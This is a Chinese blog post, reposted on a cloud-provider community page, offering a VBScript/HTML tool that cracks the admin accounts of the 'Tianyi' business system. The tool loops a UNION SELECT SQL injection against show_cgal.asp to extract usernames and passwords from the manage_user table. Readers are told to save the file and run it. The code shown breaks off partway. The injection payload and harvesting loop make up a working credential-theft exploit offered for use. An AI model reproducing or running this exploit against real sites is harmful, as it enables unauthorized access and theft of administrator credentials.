天意商務系統後台管理帳號破解html版

來源:互聯網
上載者:User
天意商務系統後台管理帳號破解html版
/**
慈勤強
http://blog.111cn.net/cqq
*/
自從上次寫了個天意商務系統破解程式之後,
收到了不少朋友的來信,
有詢問程式原理的,有詢問如何防護的。

今天,我抽了一點時間,做了這個Html版,就只有這一個htm檔案
相信有點html知識和SQL Injection知識的朋友都能夠看懂
原理非常簡單,破解使用者帳號是用的SQL Injection方法,
因為這套系統好多地方存在sql injection漏洞,
然後自己下載個這套系統,就可以很方便的找出問題了。

以前是Vc++版本,現在是html版本,不過都是一樣,
就是通過http協議取得網頁的源檔案
然後分析源檔案,找到使用者名稱和密碼
並且顯示出來。
下面是原始碼,大家只要把這個檔案儲存到硬碟上,起名叫ty.htm,就可以了。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>天意商務系統後台管理帳號破解html版--慈勤強製作</title>
<SCRIPT Language = "VbScript">
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
Sub OpenUrl(strUrl)

strTmp = ""
strUser = "!"
strAAA =""
strCqq=""
i=0
on Error Resume Next
While Trim(strUser) <> ""
strPara = "/wlyx/show_cgal.asp?newsid=1%20and%201=2%20union%20select%201,username%2b'***'%2bpassword,3,4,5,6%20from%20manage_user%20where%20username>'" + strUser + "'%20union%20select%20*%20from%20cgal%20where%201=2"
Set xmlhttp = CreateObject("Microsoft.XMLHTTP")
相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.